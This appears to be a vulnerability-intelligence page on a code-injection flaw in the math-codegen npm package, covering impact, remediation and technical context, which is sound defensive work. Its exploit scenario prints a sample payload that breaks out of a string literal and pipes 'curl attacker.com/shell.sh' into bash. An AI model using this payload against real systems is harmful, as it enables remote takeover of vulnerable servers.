Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAccess math evaluation endpoint
-
DeliveryInject crafted expression with string literal payload
-
ExploitTrigger cg.parse() processing
-
ExecutionBreak out of Function() context
-
PersistExecute injected JavaScript
-
ImpactRun system commands with process privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | No special conditions required-remote unauthenticated exploitation against default configurations of math-codegen package versions < 0.4.3. Any application that accepts user input and passes it to the cg.parse() method is immediately vulnerable. The only prerequisite is that the vulnerable application must expose an interface (HTTP endpoint, WebSocket, CLI, etc.) where attacker-controlled data flows into the parser. No specific product configuration, feature enablement, or deployment mode is required. The CVSS vector AV:N/AC:L/PR:N/UI:N confirms no limiting factors exist-attack complexity is low, no privileges are required, and no user interaction is needed. Applications that validate or restrict input types before parsing may have limited protection, but properly escaping all string literal injection vectors is complex and error-prone. |
| Impact | This is a critical-severity vulnerability with maximum real-world risk. CVSS 9.8 with AV:N/AC:L/PR:N/UI:N indicates trivial remote exploitation requiring no authentication, low complexity, and no user interaction. The attack vector is network-accessible, meaning any internet-facing application using math-codegen for user input evaluation is immediately exploitable. The GitHub Security Advisory confirms full RCE impact, allowing arbitrary system command execution. While EPSS and SSVC data are not provided, the combination of unauthenticated network exploitation and RCE impact places this in the highest priority tier for patching. The technical barrier is extremely low-a simple crafted string in a math expression achieves code execution. Applications exposing calculator APIs, formula evaluators, or any math processing endpoints are at immediate risk. The availability of both a public GitHub advisory (GHSA-p6x5-p4xf-cc4r) and detailed commit diff means proof-of-concept exploits can be trivially constructed. This vulnerability should be treated as an emergency patch priority for any deployment using affected versions. |
| Exploit ScenarioDerived | An attacker sends a crafted HTTP POST request to a web application's calculator API endpoint containing a malicious mathematical expression like '"); require('child_process').exec('curl attacker.com/shell.sh | bash'); //'. The application passes this input to math-codegen's cg.parse() function. Due to the lack of sanitization, the string literal breaks out of the intended code context and injects arbitrary JavaScript into the Function() body. The injected code executes with the privileges of the Node.js process, downloading and executing a reverse shell that provides the attacker with full system access. The entire attack requires only a single HTTP request with no authentication. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 08, 2026
Remote code execution in math-codegen npm package versions prior to 0.4.3 allows unauthenticated attackers to execute arbitrary system commands via string literal injection into the cg.parse() function. The vulnerability stems from unsanitized string literals being injected directly into new Function() bodies, enabling full command execution on any application exposing math evaluation endpoints that process user input. EPSS score not available, but this is a critical unauthenticated RCE requiring no special conditions beyond user input reaching the vulnerable parser. Vendor-released patch available in version 0.4.3.
RemediationAI
Upgrade math-codegen to version 0.4.3 or later immediately. The fix is implemented in commit 4bb52d3030683362b3559ee8dd91350555a05f6b and merged via pull request #11, which replaces unsafe string concatenation with JSON.stringify() across all code generation nodes. Update package.json to specify "math-codegen": "^0.4.3" and run npm update. Verify the upgrade with npm list math-codegen. Full advisory and patch details available at https://github.com/mauriciopoppe/math-codegen/security/advisories/GHSA-p6x5-p4xf-cc4r. As a temporary workaround if immediate upgrading is not possible, implement strict input sanitization to reject or escape any string literals before passing to cg.parse(), though this is difficult to implement correctly and not recommended as a long-term solution. Alternatively, disable or restrict access to any endpoints that expose math evaluation functionality until patching is complete. For defense in depth, run the Node.js process with minimal privileges and consider sandboxing techniques, though these do not eliminate the vulnerability.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
math-codegen is an npm library that generates executable JavaScript code from mathematical expressions. The vulnerability (CWE-94: Improper Control of Generation of Code / Code Injection) occurs in the code generation pipeline where string literals passed through cg.parse() are concatenated directly into dynamically constructed Function() bodies without escaping. The commit diff shows the fix replaced unsafe string concatenation (e.g., 'scope["' + node.name + '"]') with JSON.stringify() across multiple node handlers (ConstantNode.js, SymbolNode.js, AssignmentNode.js, FunctionNode.js). This ensures user-controlled strings are properly escaped and treated as data rather than executable code. The vulnerability affects the core parsing and code generation mechanism, meaning any mathematical expression containing attacker-controlled string literals can break out of the intended context and inject arbitrary JavaScript that executes with the privileges of the Node.js process.
Know when Math Codegen gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (github) · only source for this CVE.
CVSS VectorVendor: github
DescriptionCVE.org
math-codegen generates code from mathematical expressions. Prior to version 0.4.3, string literal content passed to cg.parse() is injected verbatim into a new Function() body without sanitization. This allows an attacker to execute arbitrary system commands when user-controlled input reaches the parser. Any application exposing a math evaluation endpoint where user input flows into cg.parse() is vulnerable to full RCE. This issue has been patched in version 0.4.3.
Blast Radius
ecosystem impact- 16 npm packages depend on math-codegen (2 direct, 14 indirect)
Ecosystem-wide dependent count for version 0.4.3.
Executive ViewAI
The math-codegen npm package (versions before 0.4.3) contains a critical remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary system commands through malicious input to the cg.parse() function. Any application using this package to process user-supplied mathematical expressions faces immediate risk of complete system compromise without authentication barriers. Organizations must identify affected dependencies across their application portfolio and patch immediately.
Apply vendor patch. If immediate patching is impossible: implement network-level restrictions to block access to affected endpoints, disable math evaluation features temporarily, apply Web Application Firewall (WAF) rules to reject payloads containing Function() or code execution patterns, and run affected services with minimal privilege (non-root).
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
EUVD-2026-28597
GHSA-p6x5-p4xf-cc4r
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB